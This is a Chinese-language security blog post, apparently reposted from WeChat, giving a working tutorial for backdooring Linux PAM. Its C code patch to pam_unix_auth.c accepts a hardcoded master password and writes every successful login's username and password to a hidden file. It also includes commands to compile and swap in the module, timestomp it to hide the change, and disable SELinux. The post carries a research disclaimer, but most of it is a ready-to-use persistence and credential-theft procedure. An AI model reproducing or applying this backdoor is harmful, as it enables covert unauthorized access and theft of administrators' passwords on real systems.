内网技巧-linuxPAM

admin 2025年1月11日14:12:49评论8 views字数 1585阅读5分17秒阅读模式

PAM 后门

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证
简单的理解,PAM中的模块可以实现对Linux登录认证。

查看pam版本:

getconf LONG_BIT
cat /etc/redhat-release
rpm -qa | grep pam
apt-get list --installed | grep pam

查看系统版本

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

PAM包下载地址:

http://www.linux-pam.org/library/

Github上有自动安装bash脚本

https://github.com/zephrax/linux-pam-backdoor

真实环境中,需要确定目标的系统版本以及PAM版本,然后本地搭建同样环境,编译PAM_UNIX.so,随后复制到目标中替换目标上的相同文件即可。

实验环境

Linux centos 7
PAM 1.1.8版本

内网技巧-linuxPAM
内网技巧-linuxPAM

首先下载PAM包:

http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

随后解压,需要修改/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中的判断逻辑,实现记录登录密码以及万能密码登录
内网技巧-linuxPAM
找到如下的代码行
内网技巧-linuxPAM

替换retval = _unix_verify_password(pamh, name, p, ctrl);这一行
内网技巧-linuxPAM

代码如下

const char *pass="r00tr00t";
const char *log="/usr/share/vim/.null";

if(strncmp(pass,p,8) == 0)
{
retval = PAM_SUCCESS;
}
else
{
retval = _unix_verify_password(pamh, name, p, ctrl);
if(retval == PAM_SUCCESS)
{
FILE *fp = fopen(log,"a+");
if(fp!=NULL)
{
fprintf(fp,"%s",name);
fprintf(fp,":");
fprintf(fp,"%s",p);
fprintf(fp,"n");
fclose(fp);
}
}
}

随后保存退出
然后yum install gcc flex-devel,刚装的系统一般没有这些软件。需要自行安装,未装flex 的话64位系统编译可能会遇到yywrap()函数未定义错误
随后执行编译./configre && make
内网技巧-linuxPAM
完成编译后,编译好的文件在Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so

内网技巧-linuxPAM
32位的系统的认证文件 在/lib/security
64位为 /lib64/security

随后先备份原本的pam文件,再把当前文件移动过去,最后别忘把时间修改一下

cp -af /lib64/security/pam_unix.so /opt/ 
cp -af pam_unix.so /lib64/security/
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so

唯一的点需要关闭SElinux

setenforce 0

SSH测试,键入我们预先的万能密码 r00tr00t
内网技巧-linuxPAM

用原本的root账户密码也能登录,并且当他管理员登录上来之后,键入的密码会被记录到我们设置的文本中

内网技巧-linuxPAM

内网技巧-linuxPAM

原文始发于微信公众号(白帽100安全攻防实验室):内网技巧-linuxPAM

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日14:12:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网技巧-linuxPAMhttps://cn-sec.com/archives/1131646.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息